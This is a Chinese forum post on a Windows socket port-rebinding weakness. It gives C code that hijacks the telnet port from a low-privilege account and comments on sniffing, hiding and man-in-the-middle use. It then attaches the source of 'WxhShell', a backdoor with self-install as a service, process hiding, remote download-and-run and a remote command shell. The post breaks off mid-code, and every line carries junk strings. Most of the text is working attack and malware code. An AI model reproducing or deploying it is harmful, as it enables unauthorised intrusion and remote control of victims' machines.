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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4uv*F:eo  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;O({|mpS\  
-Z:nImqzc  
  saddr.sin_family = AF_INET; H*&!$s.  
}wGy#!CSza  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ESkhCDU  
NF_[q(k'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vVbS 4_  
Qmj%otSg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m$$sNPnT  
%D+NrL(  
  这意味着什么?意味着可以进行如下的攻击: XC,by&nY<y  
%lGg}9k'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 TnPx.mwK\  
4'L.I%#tZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <!~NG3KW[>  
&3YXDNm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rmhL|! Y  
ZV~9{E8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d-#yN:}0  
&t74T"(d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q&: t$tSS  
!f# [4Xw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b*cVC^{Dy  
*Di ;Gf@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B|- W  
8?t}S2n2  
  #include l'"Ici#7Ls  
  #include ztV%W6  
  #include ^FK-e;J  
  #include    EA<x$O  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NO.5Vy  
  int main() b!z=:  
  { _RG2I)P  
  WORD wVersionRequested; !JPZ7_nn  
  DWORD ret; qD5)AdCGO  
  WSADATA wsaData; F6 f  
  BOOL val; ,<=_t{^  
  SOCKADDR_IN saddr; t~ z;G%a  
  SOCKADDR_IN scaddr; _z& H O  
  int err; TiSV`V q  
  SOCKET s; ??g = `yH  
  SOCKET sc; ]goPjfWvU"  
  int caddsize; /Au7X'}  
  HANDLE mt; 3>k?-%"  
  DWORD tid;   /m+.5Qz9)@  
  wVersionRequested = MAKEWORD( 2, 2 ); dqw0ns.2  
  err = WSAStartup( wVersionRequested, &wsaData ); mUwGr_)wj  
  if ( err != 0 ) { 7u[$  
  printf("error!WSAStartup failed!\n"); e u?DSad  
  return -1; s"0Hz"[^=  
  } r?=3TAA  
  saddr.sin_family = AF_INET; Uy{ZK*c8i  
   jGOE CKP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4Kn)5>  
:&$ WWv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wRQMuFGY  
  saddr.sin_port = htons(23); VJ|8 0?4h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M7\KiQd  
  { a |0f B4G  
  printf("error!socket failed!\n"); \.{ZgL5"  
  return -1; sm;\;MP*yH  
  } #e$vv!&}  
  val = TRUE; *uvE`4V^Jg  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )F%zT[Auph  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !+ ??3-q  
  { :.W</o~\s  
  printf("error!setsockopt failed!\n"); $ Q*^c"&  
  return -1; +ZPn[|  
  } ?YhGW   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hbTJXP~~?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fBct%M 3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y j*Y*LB~  
v^(J+d_>   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2I1CKA:7g  
  { "l 1z@  
  ret=GetLastError(); C 4hvk'=  
  printf("error!bind failed!\n"); 8POLp9>X  
  return -1; lxOUV?m^N  
  } p!2t/XIM  
  listen(s,2); p(x<h  
  while(1) 3Cl&1K #5  
  { _qq>-{-Ym  
  caddsize = sizeof(scaddr); L ^{C4}x=  
  //接受连接请求 l=^^l`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]YwvwmZ  
  if(sc!=INVALID_SOCKET) 2B=+p83<  
  { ,:?=j80m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jI,?*n<  
  if(mt==NULL) <+e&E9;>6  
  { 7B#HF?,?  
  printf("Thread Creat Failed!\n"); @d6N[?3;  
  break; , @dhJ8/  
  } }y#aO  
  } j+NpQ}t:  
  CloseHandle(mt); ;2iDa  
  } ]d50J@W c  
  closesocket(s); (, 2U?p  
  WSACleanup(); A>QAR)YP  
  return 0;  -bQi4  
  }   6ragRS/'x  
  DWORD WINAPI ClientThread(LPVOID lpParam) G0pqiU6  
  { A=pyaU`aE  
  SOCKET ss = (SOCKET)lpParam; n_46;lD  
  SOCKET sc; 6B`,^8Lp  
  unsigned char buf[4096]; "0Yb 2>F  
  SOCKADDR_IN saddr; MnD^jcx   
  long num; "!_,N@\t  
  DWORD val; rd4mAX6@  
  DWORD ret; P(Q}r 7F~(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 td\'BV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gl!F)RdH  
  saddr.sin_family = AF_INET; hwd{^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x_.}C%  
  saddr.sin_port = htons(23); T6Ks]6m_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CeW}z kcT  
  { l08JL  
  printf("error!socket failed!\n"); BMovl4*5  
  return -1; nO .:f  
  } K.::P84m;  
  val = 100; Tlz~o[`&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r>x>aJ  
  { 38gEto#q  
  ret = GetLastError(); nSeb?|$D6  
  return -1; zc%HBZ3p  
  } F`JW&r\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qJT|om L Y  
  { G;v3kGn  
  ret = GetLastError(); #EX NSr  
  return -1; 2qfKDZ9f^  
  } v!%VH?cA8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RS /*Dp^  
  { =!P$[pN2  
  printf("error!socket connect failed!\n"); '=]|"   
  closesocket(sc); O*+,KKPt  
  closesocket(ss); d m$iiRY  
  return -1; ~mYCXfoc{  
  } "BD$-]  
  while(1) "c0Nv8_G  
  { +}.S:w_xQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]{PJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H5?H{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \:`-"Ou(*  
  num = recv(ss,buf,4096,0); x]<0Kq9K  
  if(num>0) L<H6AzR+  
  send(sc,buf,num,0); EGJrnz8  
  else if(num==0) 1\ab3n  
  break; )5U2-g#U  
  num = recv(sc,buf,4096,0); DYaOlT(rE  
  if(num>0) |n+ ` t?L^  
  send(ss,buf,num,0); ~ U`|+ 5  
  else if(num==0) 'v'=t<wgl  
  break; @c^g<  
  } <;':'sW  
  closesocket(ss); NM&R\GI  
  closesocket(sc); &xMQ  
  return 0 ;  o C#W  
  } _Q6` Wp6m  
b<"LUM*;  
Jqgo\r%`  
========================================================== 5R/k8UZ  
(G`O[JF  
下边附上一个代码,,WXhSHELL jv'q :uA^  
Jw)-6WJ!uO  
========================================================== =y WHm  
f`"@7-N  
#include "stdafx.h" p-,(P+Np  
8$y5) ~Q  
#include <stdio.h> i $;y  
#include <string.h> S# sar}-I  
#include <windows.h> ]O.Z4+6w  
#include <winsock2.h> kCZxv"Ts  
#include <winsvc.h> Swnom?t  
#include <urlmon.h> V[baGNe  
=Z}=nS?4  
#pragma comment (lib, "Ws2_32.lib") ,1|0]:  
#pragma comment (lib, "urlmon.lib") 8/`ij?gn  
<) ltvo(  
#define MAX_USER   100 // 最大客户端连接数 {BS`v5*  
#define BUF_SOCK   200 // sock buffer /dq(Z"O_  
#define KEY_BUFF   255 // 输入 buffer b 3i34,  
e.? ;mD  
#define REBOOT     0   // 重启 f~Q]"I8w  
#define SHUTDOWN   1   // 关机 #5}v?  
/E<:=DD<  
#define DEF_PORT   5000 // 监听端口 _"c:Z!L  
".Sa[A;~  
#define REG_LEN     16   // 注册表键长度 TxXX}6  
#define SVC_LEN     80   // NT服务名长度 m. "T3K  
El4SL'E@  
// 从dll定义API i.G"21M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !+Us)'L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e]@R'oM?#`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w^wh|'u^_@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  @bO/5"X,  
Y!w {,\3  
// wxhshell配置信息 ^.~m4t`U  
struct WSCFG { Tg\wBhJr|  
  int ws_port;         // 监听端口 %:/?eZ  
  char ws_passstr[REG_LEN]; // 口令 1@{qPmf^  
  int ws_autoins;       // 安装标记, 1=yes 0=no ewORb  
  char ws_regname[REG_LEN]; // 注册表键名 4+'d">+|  
  char ws_svcname[REG_LEN]; // 服务名 u:GDM   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6R+EG{`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /w2jlu}yt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2<33BBlWA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {}1KI+s9\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qjI.Sr70  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GBo'=  
$3je+=ER  
}; 0>)F+QC  
%m?$"<q_K  
// default Wxhshell configuration ]iE) 8X  
struct WSCFG wscfg={DEF_PORT, q_[V9  
    "xuhuanlingzhe", Z"Byv.yqb  
    1, +[Zcz4\9  
    "Wxhshell", w!~85""  
    "Wxhshell", DZ5QC aA  
            "WxhShell Service", v"J7VF2  
    "Wrsky Windows CmdShell Service", /j:fc?yv  
    "Please Input Your Password: ", wC~LZSTt  
  1, 6h3TU,$r  
  "http://www.wrsky.com/wxhshell.exe", 4NxI:d$&*  
  "Wxhshell.exe" Ab/KVB  
    }; Zt H{2j0  
`d6,]'  
// 消息定义模块 .:V4>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [|{m/`8C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %"g; K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [2Ot=t6]  
char *msg_ws_ext="\n\rExit."; <`WtP+`  
char *msg_ws_end="\n\rQuit."; #8;#)q_[u  
char *msg_ws_boot="\n\rReboot..."; WpPI6bd  
char *msg_ws_poff="\n\rShutdown..."; MMS#Ci=Lj  
char *msg_ws_down="\n\rSave to "; U Rb  
[&h%T;!Qii  
char *msg_ws_err="\n\rErr!"; g&`[r6B  
char *msg_ws_ok="\n\rOK!"; AAPfU_: ^  
kQQhZ8Ch  
char ExeFile[MAX_PATH]; /Vy,6:$H3  
int nUser = 0; 0FG|s#Ig  
HANDLE handles[MAX_USER]; Fooa~C"  
int OsIsNt; 'ghwc:Og|%  
MR-cOPn  
SERVICE_STATUS       serviceStatus; =VOl  *  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c?XqSK`',Z  
T,SCK^  
// 函数声明 PuoN<9 #  
int Install(void); ZKco  
int Uninstall(void); _ pKWDMB$z  
int DownloadFile(char *sURL, SOCKET wsh); m. DC  
int Boot(int flag); JDj^7\`  
void HideProc(void); VaLl$w  
int GetOsVer(void); f%cbBx^;  
int Wxhshell(SOCKET wsl); #,PB(  
void TalkWithClient(void *cs); 9i*Xd$ G  
int CmdShell(SOCKET sock); X'XH-E  
int StartFromService(void); k*Vf2O3${  
int StartWxhshell(LPSTR lpCmdLine); "'\f?A9  
4 N{5i )  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *^t7?f[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9_I#{ ?  
QLum=YB  
// 数据结构和表定义 n9x&Ws;  
SERVICE_TABLE_ENTRY DispatchTable[] = ! tPHT  
{ o dTg.m  
{wscfg.ws_svcname, NTServiceMain}, \r7gubD  
{NULL, NULL} ``* !b >)  
}; c`x[C  
/!HFi>   
// 自我安装 w\2yippI  
int Install(void) qk=0ovUzg  
{ tF=Y3W+L  
  char svExeFile[MAX_PATH]; ?=a,  
  HKEY key; 2<GN+W v[#  
  strcpy(svExeFile,ExeFile); Jk3V]u  
1?N$I}?  
// 如果是win9x系统,修改注册表设为自启动 dpI9DzA;  
if(!OsIsNt) { T_1p1Sg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gg}^@h&?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z5%TpAu[  
  RegCloseKey(key); r(uf yC&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e lzKtVw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aq<QKn U  
  RegCloseKey(key); P|{Et=R`1  
  return 0; `p{,C`g,R  
    } GYM6 `  
  } >h<bYk"9Q  
} Isna KcLM  
else { z3>oUq{  
%zA$+eT  
// 如果是NT以上系统,安装为系统服务 _mSQ>BBRl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S+Vsy(  
if (schSCManager!=0) Yiy|^j  
{ I'%(f@u~  
  SC_HANDLE schService = CreateService D"RxI)"HP  
  ( J~URv)g  
  schSCManager, Vj{}cL"MR  
  wscfg.ws_svcname, P2^((c  
  wscfg.ws_svcdisp, 0nOp'Ky\k  
  SERVICE_ALL_ACCESS, a{%]X(';  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6ISDY>p  
  SERVICE_AUTO_START, l5bd);L tq  
  SERVICE_ERROR_NORMAL, J4;F k  
  svExeFile, j*05!j<'  
  NULL, `GD>3-   
  NULL, 7TN94@kCF  
  NULL, LUjev\Re  
  NULL, baVSQtda  
  NULL ' y9yx[P  
  ); FTfejk!  
  if (schService!=0) ,J0BG0jB^u  
  { 9BM 8  
  CloseServiceHandle(schService); SWGD(]}uz  
  CloseServiceHandle(schSCManager); z}[qk:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }|7y.*  
  strcat(svExeFile,wscfg.ws_svcname); CN"hx-f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E-_Q3^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &R "Q  
  RegCloseKey(key); fQB>0RR2  
  return 0; `/z6 Q"  
    } C'c9AoE5>  
  } dq{wFI)  
  CloseServiceHandle(schSCManager); )KLsa`RV:  
} '~ {xn  
} $"/xi `  
#+- /0{HT  
return 1; KiJRq>  
} Pkbx /\  
~KufSt *  
// 自我卸载 7.o:(P1??g  
int Uninstall(void) :OVre*j  
{ ]OZk+DU:  
  HKEY key; H -sJt:  
1.Ximom  
if(!OsIsNt) { 8SGFzb! h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WYb\vm =r  
  RegDeleteValue(key,wscfg.ws_regname); v{}i`|~J  
  RegCloseKey(key); ZO2$Aan  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cv b:FK  
  RegDeleteValue(key,wscfg.ws_regname); {5=Iu\e  
  RegCloseKey(key); YYz,sR'%|}  
  return 0; 'xUyGj:  
  } 9;^r  
} lKd+,<  
} \P;%fN  
else { aF9p%HPDw  
?_L)|:WL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5UQz6DK  
if (schSCManager!=0) [`~E)B1Y  
{ >h0iq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R`wL%I!?f  
  if (schService!=0) 6_m5%c~;+r  
  { \tj7Jy  
  if(DeleteService(schService)!=0) { "Z&-:1tP{9  
  CloseServiceHandle(schService); #S/]=D  
  CloseServiceHandle(schSCManager); 0Jh^((i*  
  return 0; 1 XAXokxj  
  } Gyak?.@R  
  CloseServiceHandle(schService); :K ^T@F5n  
  } =7JvS~s  
  CloseServiceHandle(schSCManager); s0 ZF+6f  
} J2$L[d^  
} +P?!yH,n  
fAu^eS%>7  
return 1; ^ 2"r't  
} nVF?.c  
Dk!;s8}*c  
// 从指定url下载文件 +mQMzZZTZ  
int DownloadFile(char *sURL, SOCKET wsh) 9y(75Bn9  
{ R&cOhUj22J  
  HRESULT hr; 37hs/=x  
char seps[]= "/"; bqHR~4 #IR  
char *token; 2g elmQnc  
char *file; FC:Z9{2!  
char myURL[MAX_PATH]; B&~#.<23:  
char myFILE[MAX_PATH];  R\%&Q|  
[i 18$q5D  
strcpy(myURL,sURL); =l_B58wrx  
  token=strtok(myURL,seps); .Vm!Ng )j  
  while(token!=NULL) >~-8RM  
  { L> ehL(]!  
    file=token; uES|jU{]b  
  token=strtok(NULL,seps); *OOi  
  } +/tN d2  
@)A)cBv#  
GetCurrentDirectory(MAX_PATH,myFILE); 42a.@JbLQ  
strcat(myFILE, "\\"); Wj"\nT4  
strcat(myFILE, file); ]Q Y:t:-  
  send(wsh,myFILE,strlen(myFILE),0); IJxBPwh  
send(wsh,"...",3,0); nyyKA_#:5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "+oP((9  
  if(hr==S_OK) L*xu<(>K  
return 0; b'9\j.By  
else <9JI@\>  
return 1; iGxlB  
"@1e0`n Q  
} CdCo+U5z{  
B{UL(6\B  
// 系统电源模块 sb Wn1 T U  
int Boot(int flag) 9`P<|(  
{ Gkz\By  
  HANDLE hToken; _g|zDi^  
  TOKEN_PRIVILEGES tkp; &vf9Gp+MK  
Zl5cHejM  
  if(OsIsNt) { A>@ i TI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~)\9f 1O{^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M#BM`2!s  
    tkp.PrivilegeCount = 1; /5qeNjI+2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EwvW: t1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4~mYj@lvd  
if(flag==REBOOT) { WmO.&zp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )-D{]>8  
  return 0; C` s  
} ; B4x>  
else { ldd|"[Ds  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]ZV.@% +  
  return 0; v6Vieo=  
} J!O{.v  
  } zX{O"w  
  else { [D !-~]5  
if(flag==REBOOT) { [$PW {d8|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /NFk@8<?  
  return 0; 4+rr3 $AY  
} bXVH7Fy  
else { /.54r/FN')  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]mDsd*1  
  return 0; {+`'ZU6C  
} vL>cYbJ<  
} _[D6 WY+  
0 rM'VgB  
return 1; 8|Wu8z--  
} d']CBoK  
<>=A6  
// win9x进程隐藏模块 }e/#dMEi  
void HideProc(void) v5 |XyN"  
{  F#0y0|  
m2%OX"#e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B|\pzWD%  
  if ( hKernel != NULL ) up(6/-/.7  
  { C[E[|s*l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hz?C9q3BX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \<cs:C\h7  
    FreeLibrary(hKernel); v[k;R  
  } ZGILV  
/INjP~C  
return; $KSdNFtM)A  
} GyirE`  
MHl ffj  
// 获取操作系统版本 U +c ?x2\  
int GetOsVer(void) UE:';(t  
{ |6]2XW  
  OSVERSIONINFO winfo; bl8zcpdL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +JyD W%a:L  
  GetVersionEx(&winfo); OoW,mmthj>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ??\1eo2gB  
  return 1; 41-u*$   
  else r;>2L'  
  return 0; rM?O2n  
} 9'$\GN{0  
@u@ N&{b5"  
// 客户端句柄模块 kGz0`8U Ru  
int Wxhshell(SOCKET wsl) ^{<!pvT  
{ 5 )A(q\  
  SOCKET wsh; 2p^Jqp`$  
  struct sockaddr_in client; h>w(Th\H  
  DWORD myID; D8OW|wVE  
(]_smsok  
  while(nUser<MAX_USER) xE$>;30b_  
{ U z*7J  
  int nSize=sizeof(client); $,b1`*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ec8 iZ8h8  
  if(wsh==INVALID_SOCKET) return 1; teQ <v[W.  
x=S8UKUx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9$ VudE>;  
if(handles[nUser]==0)  1{fu  
  closesocket(wsh); `>HM<Nn-0  
else !t;B.[U *  
  nUser++; >'eY/>n{  
  } Z2t'?N|_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %@,%A_So k  
k<Y}BvAYB  
  return 0; h^B~Fv>~  
}  BN_I#8r  
 ~ERA  
// 关闭 socket IPVD^a ?  
void CloseIt(SOCKET wsh) =q\Ghqj1  
{ ,J@A5/B,AA  
closesocket(wsh); +A;AX.mr  
nUser--; kB! iEoIBA  
ExitThread(0); %2 I >0  
} )yTBtYw3  
*3!#W|#=]N  
// 客户端请求句柄 .UGbo.e  
void TalkWithClient(void *cs) dzbFUDJ  
{ JS!`eO/8  
_{C =d3  
  SOCKET wsh=(SOCKET)cs; VF bso3q<j  
  char pwd[SVC_LEN]; :Z R5<Y>  
  char cmd[KEY_BUFF]; ,hVDGif  
char chr[1]; Y& p ~8  
int i,j; kSfNu{YS  
gebDNl\Y2  
  while (nUser < MAX_USER) { F*4zC@;  
xTGdh  
if(wscfg.ws_passstr) { P+Q}bTb8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )JXlPU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xt zjFfq  
  //ZeroMemory(pwd,KEY_BUFF); -)%g MD~z1  
      i=0; ]kir@NMv>  
  while(i<SVC_LEN) { B.#.gB#C  
dcH@$D@~S  
  // 设置超时 ~7$jW[i  
  fd_set FdRead; B1k;!@@1 4  
  struct timeval TimeOut; e6i m_ Tk  
  FD_ZERO(&FdRead); 9>-]*7  
  FD_SET(wsh,&FdRead); >$:_M*5  
  TimeOut.tv_sec=8; l Zz%W8"  
  TimeOut.tv_usec=0; VUUE2k;^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (&!x2M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @=6*]:p2.  
DmiZ"A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~N]pB]/][  
  pwd=chr[0]; 7m.>2U   
  if(chr[0]==0xd || chr[0]==0xa) { uwc@~=;  
  pwd=0; 43s8a  
  break; ~[Z,:=z  
  }  jAxrU  
  i++; / _! Ed]  
    } !-~sxa280r  
nC5]IYL|  
  // 如果是非法用户,关闭 socket H Xb_k1n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ya29t 98Pk  
} ^D?{[LBc  
ftaa~h*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kL e{3>}j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vEc<|t  
:NynNu'  
while(1) { Ov@vNj&  
'B;n&tJ   
  ZeroMemory(cmd,KEY_BUFF); N gagzsJ=  
u+m9DNPF  
      // 自动支持客户端 telnet标准   @;7Ht Z`  
  j=0; 8<=]4-X@  
  while(j<KEY_BUFF) { : U,-v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +ctJV>  
  cmd[j]=chr[0]; }oL l? L  
  if(chr[0]==0xa || chr[0]==0xd) { zsr;37  
  cmd[j]=0; `RyH~4\;  
  break; 3|(3jIa  
  } V?- ]ZkI  
  j++; IweNe`Z  
    } +R',$YzD  
T:3}W0s,  
  // 下载文件 " ""pe+Y  
  if(strstr(cmd,"http://")) { kZ'wXtBYe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NEt_UcC  
  if(DownloadFile(cmd,wsh)) scPvuHzl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =kb/4eRg  
  else 5Un)d<!7&u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y3ST0=>j}  
  } +J3Y}A4W3X  
  else { bO+ e?&vQ%  
1IN^,A]r2h  
    switch(cmd[0]) { TTJj=KPA  
  7!JBF{,=  
  // 帮助 I+rLKGZC  
  case '?': { gp-rTdN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q>m[vvt"  
    break; {2LG$x-N%  
  } *0z'!m12  
  // 安装 ZOy^TR  
  case 'i': { K1t>5zm  
    if(Install()) pg3h>)$/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .[o`TlG%  
    else .q'{ 3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vvP]tRZ  
    break; 9`Xr7gmQf  
    } ,f$ftn\~j/  
  // 卸载 pDt45   
  case 'r': { Wb;D9Z  
    if(Uninstall()) CK8!7=>}^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MS& 'Nj  
    else #0c;2}D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d_ji ..T  
    break; \vgM`32<  
    } qcoTt~\  
  // 显示 wxhshell 所在路径 Jm-bE 8b  
  case 'p': { 7w.9PNhy  
    char svExeFile[MAX_PATH]; w~>tpkUB  
    strcpy(svExeFile,"\n\r"); lbC9^~T+  
      strcat(svExeFile,ExeFile); :_kZkWD5  
        send(wsh,svExeFile,strlen(svExeFile),0); :_pn|  
    break; MLN+ BuS  
    } vA*Q}]Ov  
  // 重启 QW2SFpE  
  case 'b': { %VS+?4ww  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M9KoQS  
    if(Boot(REBOOT)) HJ;!'@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n4o}}tI  
    else { 2I{kLN1TY  
    closesocket(wsh); =gHUY&sPu8  
    ExitThread(0); `It3X.^}  
    } WU~L#Ih.V  
    break; uYXkD#{  
    } yE|hA2G?0  
  // 关机 EU.!/'<  
  case 'd': { ageTv/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r tH #j  
